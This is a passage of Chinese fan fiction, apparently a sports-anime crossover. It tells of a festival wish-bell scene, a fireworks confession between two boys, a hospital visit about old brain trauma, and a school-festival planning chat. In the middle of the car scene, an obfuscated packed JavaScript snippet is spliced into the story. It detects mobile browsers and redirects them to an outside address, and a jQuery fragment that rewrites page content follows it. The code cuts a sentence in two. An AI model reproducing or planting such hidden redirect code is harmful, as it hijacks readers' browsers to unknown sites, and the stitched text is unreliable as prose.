通往后山的道路明亮清晰,一路都有纸灯笼引罩,烛火明亮、照着前方脚下的路,拾阶而上,能感受到山间夜风与林间簌簌轻响,空气清新又自然。


    夜幕之时,鸟雀归巢,耳畔只有人们三三两两登阶交谈声与孩童嬉闹声。


    狐川辻人与角名伦太郎就混在人群中慢慢向上走着,桃井五月与青峰大辉在前面不远处,他们走得不紧密、之间留下了些空隙。


    但那点空隙也并不是全无连接的,垂下的浴衣小袖,轻微牵起点弧度,细细看去哪里是牵起的衣袖,分明是牵起的手指,手指指节微微弯曲着、你勾缠着我、我勾缠着你,不分彼此,但又隐藏在浴衣小袖之下,似有若无的,暧昧极了。


    落在另一只手中的金鱼水袋随着步伐迈出轻微晃动,其内的两尾金鱼交头接耳,或是窃窃私语。


    走到登山的平台中段,向左是继续上山,向右是到达挂风铃的地方。


    狐川辻人手中拎着捞金鱼时摊主给的祭典风铃,自然右转。


    他过去望了眼,人也不算少,此刻都排在那。


    桃井五月与青峰大辉也同他一起过来,五月另外买了可以挂的风铃,款式与狐川辻人手中的祭典专属略微有所不同,但还是好看的。


    工作人员在拿着大喇叭引导,说着按部就班拿好许愿信笺、在许愿信笺上填写下期望或心愿,合着风铃一起挂上后山平台上那株约莫有十人环抱粗的古木枝桠。


    排队的速度很快,狐川辻人四人很快就拿到了许愿信笺,狐川辻人并角名伦太郎一张,桃井五月并青峰大辉一张,工作人员指了笔,让他们写。


    黑发少年想了想,侧头去问人,“角名有什么想写下来的心愿吗?


    被问的人没再直接严严实实戴着那张黑天狗面具,学着狐川辻人模样、将面具斜斜着戴,露出截下颌线条,他稍微思考、视线微垂,落在了平铺开来的许愿信笺上,


    “大概有的。


    狐川辻人立即递出笔,示意人写,但是角名没接,“辻人先写吧。


    黑发少年一边眉毛压着、一边眉梢挑起,将人看了眼打趣道,“怎么?难道是什么秘密吗?


    角名不吭声,狐川辻人眨眨眼。


    ……该不会真被他说中了吧?


    左右先写后写都一样,小黑毛只心底轻微过了下就放过,他捻着笔、托着脸颊稍作思考,


    他思考时,角名自然视线落在人颊侧。


    专注、认真,因略略有些出神所以幽黑两点眼瞳泛着虚意,微微扩泛开,唇线抿起、轻微向下落下些弧度,似是有些苦恼的模样。


    不过这苦恼并未持续很久,黑发


    少年眼前一亮登时拿起笔就’噌噌‘在信笺上笔走龙蛇


    角名伦太郎注意力被他引着看过去落睛后看清其上所写的内容


    [——希望某位角名同学可以更多坦诚一点。]


    见人看了小黑毛唇角弯起狡黠笑容晃了晃拿在手中的许愿信笺故意道


    “好了这就是我的愿望了!”


    角名伦太郎目光轻轻扫过黑发少年脸颊、眼瞳又落在人拿在手中的许愿信笺与字迹上。


    笔连带着信笺一起递到面前递过来的人晃了晃他重重咬着人名字发音


    “现在轮到你了哦角名同学——”


    ’角名同学‘接过笔和信笺拿开笔盖笔头点在纸片上他静静望着旁侧笔走龙蛇的字迹不急不慌地在另一边慢慢写完自己的愿望。


    狐川辻人也想凑过去看才凑过去一点后面的桃井五月与青峰大辉就叫他他们已经写好了、要去准备挂上风铃


    等他回完话再转头就看着角名折好写完的许愿信笺合拢挂在了风铃之下。


    他眼皮跳了下角名伦太郎已经自如开口“我们也去挂吧。”


    ——但是他还没看见这家伙写得是什么内容啊!


    小黑毛愤愤不满并试图从人嘴里掰出答案。


    但是角名伦太郎的嘴像上了锁无论小黑毛怎么打探询问都问不出个名堂。


    上窜下跳的小黑毛好奇心被拉到最大角名看他一眼“辻人”


    “说!”


    “愿望听说被知道了就不灵了哦。”


    “……”


    ——这种骗小孩的借口谁会信啦!


    狐川辻人旋即反应过来“但这也不是角名你不坦诚的理由!”


    用尽手段最终狐川辻人也没有从人口中得到答案挂风铃的地方倒是已经先到了。


    立在中庭的一株约莫十人合抱粗的古木枝桠漫天、自由向上生长着横生的枝条上挂满了红色彩绸与风一吹就’叮叮当当‘作响的风铃们。


    山间夜风轻拂风铃下缀着的一张接一张许愿信笺随风旋转飘荡一张一张、整整齐齐、五彩缤纷的十分好看。


    站在那儿只是看到这一幕、原先还躁乱纷扰的心情就情不自禁静下。


    风声、林叶窸窣声、喧闹人声都逐渐远去只有独自谱成无名乐章的清脆风铃声作响缓缓涤荡心灵。


    树与世界无穷大而自己无穷小狐川辻人望着树、望着风铃们良久才收神。


    挂风铃的地方有些高桃井五月够不到只好委派青峰大辉去挂。


    狐川辻人挑得位置也有点高不过黑发少年记着先前角名伦太郎的不坦诚决定再


    如何都不求助,偏要自己去挂。


    黑发少年双手托着向上去够枝桠,他虽然身形高挑、距离却还是有段距离,微咬唇,黑发身影踮起脚,手腕托上,浴衣小袖堆叠落下,落在臂弯,露出截白皙小臂与晧白手腕,落下来的小袖是阻碍,甚至有些遮挡视线。


    尽量平心静气,狐川辻人深呼吸,欲要再度尝试一次。


    一而再、再而三,小黑毛面上不显,动作已经些微露出点焦躁。


    身后有温度靠近,手臂倒先靠近,触碰到、身后的人伸出手,帮人扶了把,托起了风铃。


    比狐川辻人高了小半个头的角名伦太郎抬起手,全然不似黑发少年那么费力,只大概一够,就够到了选定的挂风铃的地方。


    “我来,辻人。他的气息铺散,打在耳后,热乎乎的、激起一点小小的颤栗。


    这颤栗来得快、去得也快,黑发少年念着他先前的错处,闷不吭声忍着、一门心思走到底,就要自己来做。


    角名伦太郎视线轻微晃动,落在偏侧着他的人的侧颊,闷闷的、有点小情绪的。


    “烟火大会,很快就要开始了。


    身后的人这么说了句。


    好吧,好吧。


    狐川辻人只好放弃,这家伙是知道如何劝服他的。


    黑发少年转手将风铃给了人,便开始颐指气使,“挂那里,偏了点、再左一点!


    角名伦太郎十分好脾气地听他的话改动毫厘之差,最终也算是成功挂上风铃。


    写着两人愿望的祭典特制风铃很快便汇入了古树上的风铃海,那张小小的许愿信笺摇摇摆摆,折好的面似是开合了一点,狐川辻人眼尖,迅速瞥到了几个字眼。


    […希望,辻…健……安]


    再多的就看不见了,狐川辻人再想盯着看也没有更多时间,毕竟他们要及时转身去山顶平台占位置好去看烟火大会。


    桃井五月与青峰大辉已经先一步过去,狐川辻人和角名伦太郎还算是落后了一步。


    先前那点小小的别扭在颐指气使指挥着人挂风铃时已经消弭得差不多,他咳了声,视线轻微转了下,瞥过身边走着的人。


    对方还在细心隔出黑发少年与擦肩而过的旁人间的距离。


    兀地、心脏尖尖就这么融化了一块,暖融融的一滩水般,往着四肢百骸迸发,纠结的、拧巴的、顿涩的情绪与心灵一下子就和缓起来。


    他们也就到了观看烟火大会的山顶平台。


    虽然说不上人山人海,但是前头最佳位置已经黑压压占满了人,来得还是稍微有些迟了。


    狐川辻人与角名伦太郎没往前挤,停在了一个较后、但不影响观赏的位置。


    距离烟火大会正式开


    始还有三分钟,狐川辻人看了眼手机。


    他突然想起什么,手指动作停了下,角名伦太郎正在护着人不被后面上来的人挤到,好不容易两人一起到了个还算安全的地方,就见身旁的黑发少年拿出手机,似乎是要拍照。


    角名伦太郎轻慢眨了下眼,只出声提醒了句’注意安全‘。


    狐川辻人听在耳中,自己倒是先笑了下,“没关系,有角名在身边,很安全的。”


    说者无心,听者有意。


    唇线动了下,角名伦太郎似乎要说些什么,但黑发少年眼睛一瞥左上角时间,“还有两分钟。”


    进入倒计时了,


    一分半,


    一分钟,


    三十秒。


    时间在前进,黑夜在后退。


    黑压压挤在前面的人群已经开始预热起来,等待着、期盼着,默契又无声地将情绪压制、缓缓压到最低。


    狐川辻人轻声道,“角名还记得…我刚才说的吗?”


    他声音放得轻,混在嘈杂人声与其他响声中,似乎一个不经意就会被忽略掉。


    但是角名伦太郎没有,他自始至终注意力都停在黑发少年身上,


    “嗯,记得。”


    黑发少年道:“——在烟火大会的第一簇烟火升到最高点的那一刻,许下愿望,”


    角名伦太郎平静接上,“……那么愿望一定会在来年实现。”


    狐川辻人又笑了下。


    人群声势排山倒海般袭来,是最后开始的倒计时,


    “3——”


    气氛压着紧迫着,就差最后一点火星就能点燃蹦出最热烈的光彩。


    “2——”


    高高低低的身影遮住平台的前沿,像密林的边陲,严丝合缝、乌压压深沉一片,


    “1——”


    而只那密林合拢的一帧,气氛迫降的最后一秒,


    从耳廓炸起的“咻——”长长一声,锐鸣又似飞鸟翅翼划过空气的割裂。


    从人群头顶之上,毫无预兆又兀然地拉出一道漫长银轨。


    殊丽、漂亮,全神贯注。


    银色轨迹不断攀升,拖出鎏金色的焰尾,伴随着撞入耳中不息止的鸣声,彗星一般划过整片漆黑天空。


    夜幕被这拖长轨迹的人造彗星撕裂扯开,它不断向上、不断飞升,不断发出悠远回响,


    一切的一切倒映在一双漆黑眼瞳,炫目的白金色银光隐没黑暗,陷入一时的无声无息。


    寂静,


    所有人都在等待,急躁的、期盼的、热切的,交织的情绪于此一刻凝成一点,


    那一点又化为指节与指节、掌心与掌心接触时淌下的一滴薄汗。


    仅是短短的一息,


    ——两人微凉的指尖触及到一起。


    于是整片


    夜空不打招呼般倏然亮了起来,乍亮起伴随密密麻麻绽放、令人目不暇接的盛放烟火。


    八尺玉铺天盖地、朝着人无法接受海量信息的眼瞳冲刷,骤然色彩汇聚、五味分明,全数溅开银色、金色的火树之花。


    五指紧扣,地上的人攥住了地上的烟火,那烟火正绽放在黑色眼瞳之人的眼中,也正绽放在紧握住烟火的人心中。


    漫天焰火再次溢散炸开,前方人群惊呼声成海潮,一波接一波袭来,一声比一声更响,


    而此刻、极近距离间,呼吸贴近,鼻息交织。


    黑色的对上幽绿的,一簇一簇亮起的光线下歪歪斜斜戴着的面具正协商好了望向天空,


    唇瓣动了动,太多想说的话堆在喉间、堆在口中。


    而黑发少年只是缓缓弯了下唇,“愿望,角名有许下吗?


    “嗯。


    角名伦太郎看着近乎于无距离下的人,慢慢应下这一声,


    “要我告诉辻人许下了什么愿望吗?


    黑发少年愣了下,旋即无奈笑了下,“不用,不用的。


    他慢慢凑近点,主动的凑近。


    鼻尖抵着鼻尖,两片微凉的面具在靠近间触碰到一块,发出’咔哒‘’咔哒‘的清脆声响,但现在没有人关注它们。


    狐川辻人看着面前的角名伦太郎,将人彻彻底底、完完全全放进自己的眼中,


    呼吸温热、交织传递,不知是谁的心跳声重如擂鼓,血液鼓噪冲刷。


    山间清新的草木气息浅浅浮动,混合着不知名的花香、甜腻的巧克力香蕉、糖苹果香气,一点一点融在一起,洇入心底,


    黑发少年在笑,真诚、自然又坦率地笑,迎着漫天璀璨如繁星般的绽放焰火,迎着人群呼号与惊叹,迎着唯一的注视着他的人的目光、视线,


    他咬字清晰又泠冽,从未有过如此这般专注认真,


    “毕竟,比起知道你许下什么愿望,


    他弯起眼,上挑眼尾拉出道弧度,就似那尾隐于夜幕之中的彗星,在一时的无声无息后惊艳绽开,


    “我更加希望你的愿望能够实现。


    第58章


    [辻:锵锵——烟火大会~]


    [辻:图片.jpg]


    [S.N:是出去玩了吗,辻?]


    信息仅发出去两分钟,手机屏幕就亮起,等在候诊室的黑发少年原本没准备立即回复,一看屏幕,飞快瞥了内容。


    眼看着叫号叫到自己没剩下几个,他腾出只手抽空飞快打出几个字一键发送,


    [辻:是的,美丽又好看的烟火当然也要分享给S.N看一下啦。]


    狐川辻人想了想,趁着还有时间又继续打字,


    [


    辻:怎么样,很不错吧,S.N?]


    直到得到来自对方的肯定答案,狐川辻人才弯了弯眼。


    上一次,对角名说出的那句:’如果在烟火大会的第一簇烟火升到最高点的那一刻许下愿望,那么愿望一定会在来年实现‘的话,正是上辈子的S.N告诉他的。


    不过那时说出这话时、对方似乎正因为没有可以一起观赏烟火大会的人而情绪低落。


    狐川辻人为了安慰人,便给出了以后要是自己看到第一簇烟火升到最高点时就会拍下照片分享给对方诸如此类的承诺。


    虽然现在的S.N并没有与他上辈子那般相处十几年的记忆,但是狐川辻人仍然记得。


    “辻人,


    低头在看手机的黑发少年被叫到名字,当即醒神。


    他抬了下头,面前不知何时已经立着道绿发身影,对方看他望来、推了推鼻梁上的眼睛,平静开口,


    “父亲那边已经空下了时间,现在过去吧。


    闻言,狐川辻人收好手机,认真点了点头,“好的,辛苦你在中间联系了,真太郎。


    “不,没什么,绿间真太郎隔着镜片看向面前的黑发少年,顿了下,似是有话想问,狐川辻人余光瞥到他的这点迟疑,先前才拜托人帮自己做事,他自然一应妥帖,


    “怎么了,真太郎,有什么想说的吗?


    “……


    “父亲是脑科医生,辻人你……剩下的话落在喉间,绿间真太郎到底没再继续说,他只垂了垂眼,平静收好话语,


    “没事,进去吧。


    “是是——


    狐川辻人自然知道面前人要说什么,但他解释不了,包括就连他自己现在也不确定。


    当下联系绿间真太郎,委派他帮忙要到他父亲,绿间医生的诊疗号,只是因为上辈子——


    绿间医生正是他的主治医生。


    “——终于出来了。


    透过侧视镜向后一望,瞥见从医院门口出来的身影,驾着车的经纪人开到门口、嘀了两下喇叭,顺利引起黑发少年的注意。


    “咔哒两声,狐川辻人开了车门坐上后座。


    一脚油门一打方向盘,经纪人偶尔望向几眼后视镜,嘴里喋喋不休询问道,


    “是哪里不舒服?


    后座上的黑发少年拉下口罩笑了笑,“嘛、前段时间在海边玩太狠了,有点小感冒,所以才来看看嘛。


    “那怎么不喊我来陪你,或者那位角名…角名同学?


    “哈哈…只是小感冒而已,不用那么兴师动众,而且今天正是开学日,角名很忙的,我一个人也可以啦。


    经纪人一边开车一边念叨了几句,眼见着


    他信了这番说辞,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233135|165950||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    狐川辻人慢慢转过脸,与车窗玻璃上虚晃映出的自己的倒影对视。


    ……脑部淤血。


    上辈子作为他的主治医生的绿间医生再次点名这一点。


    “……是否在先前有过车祸、剧烈撞击之类的事故发生?如果有的话就要小心了……”


    ’车祸‘、’剧烈撞击‘,黑发少年眼睫轻微眨了下。


    在他自己的记忆里,除开三十岁那场造成他重生回到现在的车祸外,并没有其他类似事故。


    但是在上辈子,他从许多人,经纪人、奇迹的世代的朋友,口中隐隐约约都听到过他自己在高三毕业的那年似乎出过一场事故。


    也是车祸,但他的印象只依稀残留些许住院时的复健场面、对车祸本身一点记忆也无。


    当时的主治医生就是绿间真太郎的父亲,对方似乎说过脑中残留淤血,虽不影响正常生活,但是它只要留存在那一日,就会造成一日未知影响。


    狐川辻人一直将绿间医生口中的’未知影响‘与自己时不时不分场合、不分时间发作的头疼挂钩。


    但现在看来……似乎远远不止如此。


    他仿佛,忘记了谁,忘记了许多碎片记忆。


    被他忘掉的人,究竟是……


    “——你终于回来了狐川!我还以为一个暑假过去你就忘记了我们嘞!!”


    嗯、首先这个家伙是绝对不可能忘记的。


    请假了半天回到稻荷崎的狐川辻人才刚刚坐下,屁股甚至才挨到椅子,旁侧就挤来道身影,不需去看、只听声音就知道来者是谁。


    “哼哼~新学期我们可还是同桌哦,狐川!”


    聒噪的黄毛狐狸,宫侑。


    狐川辻人一边应着他一边整理自己的书桌课本,他来迟半天,分发的东西都堆在桌上,不过大家都很照顾他,有提前帮他按分类放好,狐川辻人没有费很大劲。


    “所以你怎么好端端请了半天假,”宫侑端着下巴一边看他整理一边发问。


    狐川辻人自然拿先前应付经纪人的借口应付他,他甚至还戴上口罩、做戏做全套。


    “……感冒?”


    不远不近的一声,埋头收拾课本的小黑毛眼皮轻微一跳。


    他还没开口,宫侑已经热热闹闹地应了声招呼,“哦呀?角名还有阿治……你们来得还真巧!狐川也才刚刚过来!”


    转过头打了个照面,狐川辻人不自觉蹭了下食指,视线飘忽着落在从后门过来的两人面上,尤其是落在角名伦太郎的面上,他实在有些心虚。


    ’感冒‘这种借口诓骗一下经纪人、宫侑宫治也就算了,但绝对骗不过直到昨天为止还和他在一起的角名。


    眼见着对方会说出什


    么话来,狐川辻人抢先咳了两声,捏着口罩向上拽了拽,


    “是这样的,应该是昨晚睡觉的时候不小心着凉,今天早上起来就有些不对劲,所以请了半天假。”


    他在向角名伦太郎解释,对方单手插在口袋内,静静将他看了会儿,似是接受了这个答案,他只问道,


    “有拿药吗?”


    “啊、有…有的吧?”小黑毛憋了下,状似回头翻找了下书桌,拧着眉道,


    “似乎丢在了经纪人的车上……”


    宫侑左看看,右看看,终于找到自己可以插嘴的部分,他当即站起,拍了拍黑发少年的肩膀可靠开口,


    “没关系的狐川,保健室的校医可以开感冒药,不舒服的话我送你过去!”


    “……真可靠啊,阿侑。”宫侑是被成功糊弄过去,小黑毛再借着拉口罩的空隙余光轻微一挑,看向某个默不作声的人。


    看起来还存疑,得找个话题岔过去!


    想到做到,黑发少年自然调转语气,在椅子上坐下似是无意询问,“说起来…上午我不在的时候是发生了什么吗?”


    他环视了一眼四遭,“好像大家…都很激动的样子?”


    “哈哈……狐川你上午不在当然不知道啦!”黄毛狐狸翘起鼻子,得意洋洋道,


    “那是因为稻荷崎马上就要举办一个超大型、超热闹、超有趣的活动!”


    他故意在那卖关子,“每年一度,堪称是下半学期开学以来最大阵仗与最大声势的——”


    “嗯,因为学园祭要开始了。”宫治补充。


    卖了一堆关子就等最后一句畅畅快快说出来的宫侑:“……”


    “阿治我讨厌你啊啊啊!!”


    显然,宫侑的讨厌并不占据太大作用,狐川辻人注意力倒是被转移到这个所谓的’学园祭‘上。


    “那我们学园祭要做什么?”黑发少年发问。


    他当然不是不知道学园祭是什么,国中就读帝光时每一年的学园祭都很热闹,全校轰动、阵势庞大,尤其以篮球部最甚,超百人社团运营的成果就是……


    狐川辻人缓缓想到了一些没能被销毁的黑历史,笑容缓缓敛下。


    宫侑敏锐感知到点杀气,他左看右看没找到来源,一听到狐川问到点子上了,当即蹦出来洋洋洒洒道,


    “班上上午的时候已经投票决定好了,狐川!我们班的学园祭主展示项目是舞台剧哦——舞台剧!”


    “……舞台剧?”


    不知为何,狐川辻人总感觉眼皮在隐隐抽搐,一种不妙的预感如影随形、缠绕着他。


    宫侑抱臂点头,满脸’没错没错就是这样‘。


    “那…有定下出演的剧幕吗?”狐川辻人屏住那点不妙的


    猜想耐心问出。


    “当然——!”


    黄毛狐狸跃跃欲试“分给我们的剧幕就是——’罗密欧与朱丽叶‘!”


    莎翁的剧幕狐川辻人稍微放下了些心。


    但他心放得太早了“角色有分配完成吗?”


    宫侑举手:“当然!我们完全公正民主!角色全靠投票完成!”


    听见这话狐川辻人刚刚才止住抽搐的眼皮再度开始甚至隐隐有些更重了


    “稍等”黑发少年比了个暂停手势他侧脸朝向一直听着他们对话没出声的角名伦太郎与宫治两人


    “阿治和角名你们班的活动有决定好吗?”


    他这一问问出沉默的两人对视一眼狐川辻人微妙地能从角名那家伙脸上读出一点无奈。


    ……无奈?


    太阳从西边出来了?


    宫治:“决定好了。”


    角名伦太郎:“嗯。”


    “是……?”


    宫侑判官看不惯这两人支支吾吾不肯说当即一脚杀进去“他们班是咖啡厅啦!刚刚路过学生会的公告栏时我可是看得清清楚楚!”


    狐川辻人眨眨眼“咖啡厅不是很有趣吗?”


    只是咖啡厅又不带什么特殊元素的话……


    “有趣……”宫治顿了下慢慢开口“是挺有趣的。”


    “毕竟是……女仆咖啡厅。”


    女仆?


    捕捉到关键词狐川辻人登时竖起耳朵直勾勾望向某个不言语的对象。


    ……这就是’无奈‘的来源女、女仆咖啡厅啊…


    尽量压住嘴角向上的弧度黑发少年竭力镇定不露出过多其他表情。


    与他形成鲜明对比的就是某个已经笑得前仰后合的黄毛。


    “哈哈哈放心吧阿治!我会告诉爸爸妈妈我们家多了个女儿的!”


    “……你也没好到哪里去宫侑子”宫治毒舌回击“爸爸妈妈一下子多了两个女儿会更高兴的。”


    听这话不对狐川辻人轻慢眨了下眼望向此刻唯一能帮他解惑的人。


    角名半靠着他桌子低了低声“侑他扮演的是女角。”


    狐川辻人一下子get到了同样低低声问回去“朱丽叶?”


    角名伦太郎摇头。


    狐川辻人愣了下。


    诶?不是朱丽叶的女角那还有谁……


    “奶娘。”角名伦太郎言简意赅念出。


    狐川辻人卡了下被到口一半的呼吸他止不住咳嗽虽然很想保持端正但是视线情不自禁被’奶娘‘那两个字眼引着落在了宫侑的身上——


    宫侑兀地感受到一阵凉意当即回身看见黑发少年似乎掺杂着些怜悯的视线颇有些丈二和尚摸不着头脑